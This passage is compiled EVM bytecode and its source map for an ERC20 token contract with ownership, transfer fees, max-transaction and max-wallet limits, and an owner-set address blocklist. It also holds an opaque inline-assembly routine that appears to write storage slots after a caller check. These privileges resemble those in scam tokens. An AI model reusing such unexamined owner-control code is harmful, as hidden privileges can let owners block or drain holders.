fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061185f610864565b426040518863ffffffff1660e01b8152600401611881969594939291906124e6565b60606040518083038185885af115801561189f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118c4919061255c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818361199d91906125af565b905092915050565b600081836119b39190612620565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906126c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090612755565b60405180910390fd5b60008111611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad3906127e7565b60405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612879565b60405180910390fd5b611bd9816040518060400160405280601f81526020017f45524332303a206275726e20616e7420657863656564732062616c616e636500815250600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c3181600154611ca190919063ffffffff16565b600181905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c959190611e8c565b60405180910390a35050565b60008183611caf9190612899565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cf1578082015181840152602081019050611cd6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d1982611cb7565b611d238185611cc2565b9350611d33818560208601611cd3565b611d3c81611cfd565b840191505092915050565b60006020820190508181036000830152611d618184611d0e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d9e82611d73565b9050919050565b611dae81611d93565b8114611db957600080fd5b50565b600081359050611dcb81611da5565b92915050565b6000819050919050565b611de481611dd1565b8114611def57600080fd5b50565b600081359050611e0181611ddb565b92915050565b60008060408385031215611e1e57611e1d611d69565b5b6000611e2c85828601611dbc565b9250506020611e3d85828601611df2565b9150509250929050565b60008115159050919050565b611e5c81611e47565b82525050565b6000602082019050611e776000830184611e53565b92915050565b611e8681611dd1565b82525050565b6000602082019050611ea16000830184611e7d565b92915050565b600080600060608486031215611ec057611ebf611d69565b5b6000611ece86828701611dbc565b9350506020611edf86828701611dbc565b9250506040611ef086828701611df2565b9150509250925092565b600060ff82169050919050565b611f1081611efa565b82525050565b6000602082019050611f2b6000830184611f07565b92915050565b600060208284031215611f4757611f46611d69565b5b6000611f5584828501611df2565b91505092915050565b600060208284031215611f7457611f73611d69565b5b6000611f8284828501611dbc565b91505092915050565b611f9481611d93565b82525050565b6000602082019050611faf6000830184611f8b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611fda57611fd9611fb5565b5b8235905067ffffffffffffffff811115611ff757611ff6611fba565b5b60208301915083602082028301111561201357612012611fbf565b5b9250929050565b6000806020838503121561203157612030611d69565b5b600083013567ffffffffffffffff81111561204f5761204e611d6e565b5b61205b85828601611fc4565b92509250509250929050565b6000806040838503121561207e5761207d611d69565b5b600061208c85828601611dbc565b925050602061209d85828601611dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061211082611dd1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612142576121416120d6565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121a9602683611cc2565b91506121b48261214d565b604082019050919050565b600060208201905081810360008301526121d88161219c565b9050919050565b60006121ea82611dd1565b91506121f583611dd1565b925082820190508082111561220d5761220c6120d6565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061226f602483611cc2565b915061227a82612213565b604082019050919050565b6000602082019050818103600083015261229e81612262565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612301602283611cc2565b915061230c826122a5565b604082019050919050565b60006020820190508181036000830152612330816122f4565b9050919050565b7f5472616e7366657220616e74206578636565647320746865206d61785478616e60008201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b6000612393602283611cc2565b915061239e82612337565b604082019050919050565b600060208201905081810360008301526123c281612386565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616e74600082015250565b60006123ff602083611cc2565b915061240a826123c9565b602082019050919050565b6000602082019050818103600083015261242e816123f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061246b602083611cc2565b915061247682612435565b602082019050919050565b6000602082019050818103600083015261249a8161245e565b9050919050565b6000819050919050565b6000819050919050565b60006124d06124cb6124c6846124a1565b6124ab565b611dd1565b9050919050565b6124e0816124b5565b82525050565b600060c0820190506124fb6000830189611f8b565b6125086020830188611e7d565b61251560408301876124d7565b61252260608301866124d7565b61252f6080830185611f8b565b61253c60a0830184611e7d565b979650505050505050565b60008151905061255681611ddb565b92915050565b60008060006060848603121561257557612574611d69565b5b600061258386828701612547565b935050602061259486828701612547565b92505060406125a586828701612547565b9150509250925092565b60006125ba82611dd1565b91506125c583611dd1565b92508282026125d381611dd1565b915082820484148315176125ea576125e96120d6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061262b82611dd1565b915061263683611dd1565b925082612646576126456125f1565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006126ad602583611cc2565b91506126b882612651565b604082019050919050565b600060208201905081810360008301526126dc816126a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061273f602383611cc2565b915061274a826126e3565b604082019050919050565b6000602082019050818103600083015261276e81612732565b9050919050565b7f5472616e7366657220616e74206d75737420626520677265617465722074686160008201527f6e207a65726f0000000000000000000000000000000000000000000000000000602082015250565b60006127d1602683611cc2565b91506127dc82612775565b604082019050919050565b60006020820190508181036000830152612800816127c4565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612863602183611cc2565b915061286e82612807565b604082019050919050565b6000602082019050818103600083015261289281612856565b9050919050565b60006128a482611dd1565b91506128af83611dd1565b92508282039050818111156128c7576128c66120d6565b5b9291505056fe45524332303a207472616e7366657220616e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207bc416e3f937897dc94135d55201b4a75f65f2fa92afca2f0d6ca8d40897d7f464736f6c63430008120033

Deployed Bytecode Sourcemap

11365:10275:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21515:10;;;;;;;;;;11365:10275;;;;;13461:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14309:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13738:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16435:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13647:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14480:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20161:380;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21151:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21376:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13846:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2564:103;;;;;;;;;;;;;:::i;:::-;;20785:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1916:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13552;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14706:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13973:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16752:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19005:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14150:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14983:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2822:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13461:83;13498:13;13531:5;;;;;;;;;;;;;;;;;13524:12;;13461:83;:::o;14309:163::-;14389:4;14406:36;14415:12;:10;:12::i;:::-;14429:7;14438:3;14406:8;:36::i;:::-;14460:4;14453:11;;14309:163;;;;:::o;13738:100::-;13791:7;13818:12;;13811:19;;13738:100;:::o;16435:309::-;16538:4;16555:33;16565:6;16573:9;16584:3;16555:9;:33::i;:::-;16599:115;16608:6;16616:12;:10;:12::i;:::-;16630:83;16668:3;16630:83;;;;;;;;;;;;;;;;;:11;:19;16642:6;16630:19;;;;;;;;;;;;;;;:33;16650:12;:10;:12::i;:::-;16630:33;;;;;;;;;;;;;;;;:37;;:83;;;;;:::i;:::-;16599:8;:115::i;:::-;16732:4;16725:11;;16435:309;;;;;:::o;13647:83::-;13688:5;11588:2;13706:16;;13647:83;:::o;14480:218::-;14568:4;14585:83;14594:12;:10;:12::i;:::-;14608:7;14617:50;14656:10;14617:11;:25;14629:12;:10;:12::i;:::-;14617:25;;;;;;;;;;;;;;;:34;14643:7;14617:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;14585:8;:83::i;:::-;14686:4;14679:11;;14480:218;;;;:::o;20161:380::-;20247:15;20241:22;20231:8;20228:36;20218:62;;20277:1;20274;20267:12;20218:62;20311:4;20305:11;20342:8;20337:3;20330:21;20388:14;20381:4;20376:3;20372:14;20365:38;20444:4;20439:3;20429:20;20476:3;20470:4;20463:17;20516:6;20501:13;20494:29;20207:327;;20161:380;:::o;21151:178::-;1802:13;:11;:13::i;:::-;21585:4:::1;21573:9;;:16;;;;;;;;;;;;;;;;;;21237:41:::2;21247:7;:5;:7::i;:::-;21264:4;21271:6;21237:9;:41::i;:::-;21289:32;21303:6;21311:9;21289:13;:32::i;:::-;21624:5:::1;21612:9;;:17;;;;;;;;;;;;;;;;;;21151:178:::0;:::o;21376:88::-;21423:4;21447:9;;;;;;;;;;;21440:16;;21376:88;:::o;13846:119::-;13912:7;13939:9;:18;13949:7;13939:18;;;;;;;;;;;;;;;;13932:25;;13846:119;;;:::o;2564:103::-;1802:13;:11;:13::i;:::-;2629:30:::1;2656:1;2629:18;:30::i;:::-;2564:103::o:0;20785:96::-;20832:7;20859:14;;;;;;;;;;;20852:21;;20785:96;:::o;1916:87::-;1962:7;1989:6;;;;;;;;;;;1982:13;;1916:87;:::o;13552:::-;13591:13;13624:7;;;;;;;;;;;;;;;;;13617:14;;13552:87;:::o;14706:269::-;14799:4;14816:129;14825:12;:10;:12::i;:::-;14839:7;14848:96;14887:15;14848:96;;;;;;;;;;;;;;;;;:11;:25;14860:12;:10;:12::i;:::-;14848:25;;;;;;;;;;;;;;;:34;14874:7;14848:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;14816:8;:129::i;:::-;14963:4;14956:11;;14706:269;;;;:::o;13973:169::-;14056:4;14073:39;14083:12;:10;:12::i;:::-;14097:9;14108:3;14073:9;:39::i;:::-;14130:4;14123:11;;13973:169;;;;:::o;16752:222::-;1802:13;:11;:13::i;:::-;16832:37:::1;16872:17;16832:57;;16904:6;16900:66;16920:8;;:15;;16916:1;:19;16900:66;;;16962:4;16942;:17;16947:8;;16956:1;16947:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16942:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;16937:3;;;;;:::i;:::-;;;;16900:66;;;;16821:153;16752:222:::0;;:::o;19005:109::-;19054:7;19089:16;;;;;;;;;;;19074:32;;19005:109;:::o;14150:151::-;14239:7;14266:11;:18;14278:5;14266:18;;;;;;;;;;;;;;;:27;14285:7;14266:27;;;;;;;;;;;;;;;;14259:34;;14150:151;;;;:::o;14983:127::-;15024:7;15051:51;13310:5;15051:37;15068:19;;15051:12;;:16;;:37;;;;:::i;:::-;:41;;:51;;;;:::i;:::-;15044:58;;14983:127;:::o;2822:201::-;1802:13;:11;:13::i;:::-;2931:1:::1;2911:22;;:8;:22;;::::0;2903:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2987:28;3006:8;2987:18;:28::i;:::-;2822:201:::0;:::o;9199:98::-;9257:7;9288:1;9284;:5;;;;:::i;:::-;9277:12;;9199:98;;;;:::o;632:82::-;685:7;702:10;695:17;;632:82;:::o;15745:335::-;15861:1;15844:19;;:5;:19;;;15836:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15942:1;15923:21;;:7;:21;;;15915:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16024:3;15994:11;:18;16006:5;15994:18;;;;;;;;;;;;;;;:27;16013:7;15994:27;;;;;;;;;;;;;;;:33;;;;16059:7;16043:29;;16052:5;16043:29;;;16068:3;16043:29;;;;;;:::i;:::-;;;;;;;;15745:335;;;:::o;16982:2015::-;17077:39;17093:6;17101:9;17112:3;17077:15;:39::i;:::-;17127:15;17157:14;17200:7;:5;:7::i;:::-;17190:17;;:6;:17;;;;:41;;;;;17224:7;:5;:7::i;:::-;17211:20;;:9;:20;;;;17190:41;17186:1200;;;17253:17;:25;17271:6;17253:25;;;;;;;;;;;;;;;;;;;;;;;;;17252:26;:59;;;;;17283:17;:28;17301:9;17283:28;;;;;;;;;;;;;;;;;;;;;;;;;17282:29;17252:59;17248:1127;;;17346:14;;;;;;;;;;;17336:24;;:6;:24;;;:66;;;;;17385:16;;;;;;;;;;;17364:38;;:9;:38;;;;17336:66;:100;;;;;17407:18;:29;17426:9;17407:29;;;;;;;;;;;;;;;;;;;;;;;;;17406:30;17336:100;:131;;;;;17441:18;:26;17460:6;17441:26;;;;;;;;;;;;;;;;;;;;;;;;;17440:27;17336:131;17332:445;;;17507:51;13310:5;17507:37;17524:19;;17507:12;;:16;;:37;;;;:::i;:::-;:41;;:51;;;;:::i;:::-;17500:3;:58;;17492:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;17661:59;13310:5;17661:45;17678:27;;17661:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;17628:29;17653:3;17628:20;17638:9;17628;:20::i;:::-;:24;;:29;;;;:::i;:::-;:92;;17620:137;;;;;;;;;;;;:::i;:::-;;;;;;;;;17332:445;17809:14;;;;;;;;;;;17799:24;;:6;:24;;;:66;;;;;17848:16;;;;;;;;;;;17827:38;;:9;:38;;;;17799:66;17795:279;;;17900:31;13310:5;17900:17;17908:8;;17900:3;:7;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;17890:41;;17963:30;13310:5;17963:16;17971:7;;17963:3;:7;;:16;;;;:::i;:::-;:20;;:30;;;;:::i;:::-;17954:39;;18042:12;18016;:23;18029:9;18016:23;;;;;;;;;;;;;;;:38;;;;17795:279;18109:14;;;;;;;;;;;18096:27;;:9;:27;;;:54;;;;;18145:4;18127:23;;:6;:23;;;;18096:54;18092:268;;;18185:31;13310:5;18185:17;18193:8;;18185:3;:7;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;18175:41;;18248:31;13310:5;18248:17;18256:8;;18248:3;:7;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;18239:40;;18328:12;18302;:23;18315:9;18302:23;;;;;;;;;;;;;;;:38;;;;18092:268;17248:1127;17186:1200;18396:16;18415:19;18427:6;18415:7;:11;;:19;;;;:::i;:::-;18396:38;;18460:1;18449:8;:12;18445:338;;;18492:1;18482:7;:11;18478:74;;;18514:22;18520:6;18528:7;18514:5;:22::i;:::-;18478:74;18579:1;18570:6;:10;18566:168;;;18625:33;18651:6;18625:9;:21;18635:10;;;;;;;;;;;18625:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;18601:9;:21;18611:10;;;;;;;;;;;18601:21;;;;;;;;;;;;;;;:57;;;;18699:10;;;;;;;;;;;18682:36;;18691:6;18682:36;;;18711:6;18682:36;;;;;;:::i;:::-;;;;;;;;18566:168;18754:17;18762:8;18754:3;:7;;:17;;;;:::i;:::-;18748:23;;18445:338;18813:65;18835:3;18813:65;;;;;;;;;;;;;;;;;:9;:17;18823:6;18813:17;;;;;;;;;;;;;;;;:21;;:65;;;;;:::i;:::-;18793:9;:17;18803:6;18793:17;;;;;;;;;;;;;;;:85;;;;18912:29;18937:3;18912:9;:20;18922:9;18912:20;;;;;;;;;;;;;;;;:24;;:29;;;;:::i;:::-;18889:9;:20;18899:9;18889:20;;;;;;;;;;;;;;;:52;;;;18974:9;18957:32;;18966:6;18957:32;;;18985:3;18957:32;;;;;;:::i;:::-;;;;;;;;17066:1931;;;16982:2015;;;:::o;9745:206::-;9831:7;9889:1;9884;:6;;9892:12;9876:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;9931:1;9927;:5;9920:12;;9745:206;;;;;:::o;2081:132::-;2156:12;:10;:12::i;:::-;2145:23;;:7;:5;:7::i;:::-;:23;;;2137:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2081:132::o;20889:254::-;20963:58;20980:4;20995:16;;;;;;;;;;;21014:6;20963:8;:58::i;:::-;21032:16;;;;;;;;;;;:32;;;21073:6;21089:4;21096:6;21104:1;21107;21110:7;:5;:7::i;:::-;21119:15;21032:103;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;20889:254;;:::o;3183:191::-;3257:16;3276:6;;;;;;;;;;;3257:25;;3302:8;3293:6;;:17;;;;;;;;;;;;;;;;;;3357:8;3326:40;;3347:8;3326:40;;;;;;;;;;;;3246:128;3183:191;:::o;9415:98::-;9473:7;9504:1;9500;:5;;;;:::i;:::-;9493:12;;9415:98;;;;:::o;9525:::-;9583:7;9614:1;9610;:5;;;;:::i;:::-;9603:12;;9525:98;;;;:::o;15428:309::-;15541:1;15525:18;;:4;:18;;;15517:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15618:1;15604:16;;:2;:16;;;15596:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15685:1;15679:3;:7;15671:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;15428:309;;;:::o;16088:339::-;16188:1;16169:21;;:7;:21;;;16161:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16260:62;16283:3;16260:62;;;;;;;;;;;;;;;;;:9;:18;16270:7;16260:18;;;;;;;;;;;;;;;;:22;;:62;;;;;:::i;:::-;16239:9;:18;16249:7;16239:18;;;;;;;;;;;;;;;:83;;;;16348:21;16365:3;16348:12;;:16;;:21;;;;:::i;:::-;16333:12;:36;;;;16411:1;16385:34;;16394:7;16385:34;;;16415:3;16385:34;;;;;;:::i;:::-;;;;;;;;16088:339;;:::o;9305:98::-;9363:7;9394:1;9390;:5;;;;:::i;:::-;9383:12;;9305:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:118::-;5610:24;5628:5;5610:24;:::i;:::-;5605:3;5598:37;5523:118;;:::o;5647:222::-;5740:4;5778:2;5767:9;5763:18;5755:26;;5791:71;5859:1;5848:9;5844:17;5835:6;5791:71;:::i;:::-;5647:222;;;;:::o;5875:117::-;5984:1;5981;5974:12;5998:117;6107:1;6104;6097:12;6121:117;6230:1;6227;6220:12;6261:568;6334:8;6344:6;6394:3;6387:4;6379:6;6375:17;6371:27;6361:122;;6402:79;;:::i;:::-;6361:122;6515:6;6502:20;6492:30;;6545:18;6537:6;6534:30;6531:117;;;6567:79;;:::i;:::-;6531:117;6681:4;6673:6;6669:17;6657:29;;6735:3;6727:4;6719:6;6715:17;6705:8;6701:32;6698:41;6695:128;;;6742:79;;:::i;:::-;6695:128;6261:568;;;;;:::o;6835:559::-;6921:6;6929;6978:2;6966:9;6957:7;6953:23;6949:32;6946:119;;;6984:79;;:::i;:::-;6946:119;7132:1;7121:9;7117:17;7104:31;7162:18;7154:6;7151:30;7148:117;;;7184:79;;:::i;:::-;7148:117;7297:80;7369:7;7360:6;7349:9;7345:22;7297:80;:::i;:::-;7279:98;;;;7075:312;6835:559;;;;;:::o;7400:474::-;7468:6;7476;7525:2;7513:9;7504:7;7500:23;7496:32;7493:119;;;7531:79;;:::i;:::-;7493:119;7651:1;7676:53;7721:7;7712:6;7701:9;7697:22;7676:53;:::i;:::-;7666:63;;7622:117;7778:2;7804:53;7849:7;7840:6;7829:9;7825:22;7804:53;:::i;:::-;7794:63;;7749:118;7400:474;;;;;:::o;7880:180::-;7928:77;7925:1;7918:88;8025:4;8022:1;8015:15;8049:4;8046:1;8039:15;8066:180;8114:77;8111:1;8104:88;8211:4;8208:1;8201:15;8235:4;8232:1;8225:15;8252:233;8291:3;8314:24;8332:5;8314:24;:::i;:::-;8305:33;;8360:66;8353:5;8350:77;8347:103;;8430:18;;:::i;:::-;8347:103;8477:1;8470:5;8466:13;8459:20;;8252:233;;;:::o;8491:225::-;8631:34;8627:1;8619:6;8615:14;8608:58;8700:8;8695:2;8687:6;8683:15;8676:33;8491:225;:::o;8722:366::-;8864:3;8885:67;8949:2;8944:3;8885:67;:::i;:::-;8878:74;;8961:93;9050:3;8961:93;:::i;:::-;9079:2;9074:3;9070:12;9063:19;;8722:366;;;:::o;9094:419::-;9260:4;9298:2;9287:9;9283:18;9275:26;;9347:9;9341:4;9337:20;9333:1;9322:9;9318:17;9311:47;9375:131;9501:4;9375:131;:::i;:::-;9367:139;;9094:419;;;:::o;9519:191::-;9559:3;9578:20;9596:1;9578:20;:::i;:::-;9573:25;;9612:20;9630:1;9612:20;:::i;:::-;9607:25;;9655:1;9652;9648:9;9641:16;;9676:3;9673:1;9670:10;9667:36;;;9683:18;;:::i;:::-;9667:36;9519:191;;;;:::o;9716:223::-;9856:34;9852:1;9844:6;9840:14;9833:58;9925:6;9920:2;9912:6;9908:15;9901:31;9716:223;:::o;9945:366::-;10087:3;10108:67;10172:2;10167:3;10108:67;:::i;:::-;10101:74;;10184:93;10273:3;10184:93;:::i;:::-;10302:2;10297:3;10293:12;10286:19;;9945:366;;;:::o;10317:419::-;10483:4;10521:2;10510:9;10506:18;10498:26;;10570:9;10564:4;10560:20;10556:1;10545:9;10541:17;10534:47;10598:131;10724:4;10598:131;:::i;:::-;10590:139;;10317:419;;;:::o;10742:221::-;10882:34;10878:1;10870:6;10866:14;10859:58;10951:4;10946:2;10938:6;10934:15;10927:29;10742:221;:::o;10969:366::-;11111:3;11132:67;11196:2;11191:3;11132:67;:::i;:::-;11125:74;;11208:93;11297:3;11208:93;:::i;:::-;11326:2;11321:3;11317:12;11310:19;;10969:366;;;:::o;11341:419::-;11507:4;11545:2;11534:9;11530:18;11522:26;;11594:9;11588:4;11584:20;11580:1;11569:9;11565:17;11558:47;11622:131;11748:4;11622:131;:::i;:::-;11614:139;;11341:419;;;:::o;11766:221::-;11906:34;11902:1;11894:6;11890:14;11883:58;11975:4;11970:2;11962:6;11958:15;11951:29;11766:221;:::o;11993:366::-;12135:3;12156:67;12220:2;12215:3;12156:67;:::i;:::-;12149:74;;12232:93;12321:3;12232:93;:::i;:::-;12350:2;12345:3;12341:12;12334:19;;11993:366;;;:::o;12365:419::-;12531:4;12569:2;12558:9;12554:18;12546:26;;12618:9;12612:4;12608:20;12604:1;12593:9;12589:17;12582:47;12646:131;12772:4;12646:131;:::i;:::-;12638:139;;12365:419;;;:::o;12790:182::-;12930:34;12926:1;12918:6;12914:14;12907:58;12790:182;:::o;12978:366::-;13120:3;13141:67;13205:2;13200:3;13141:6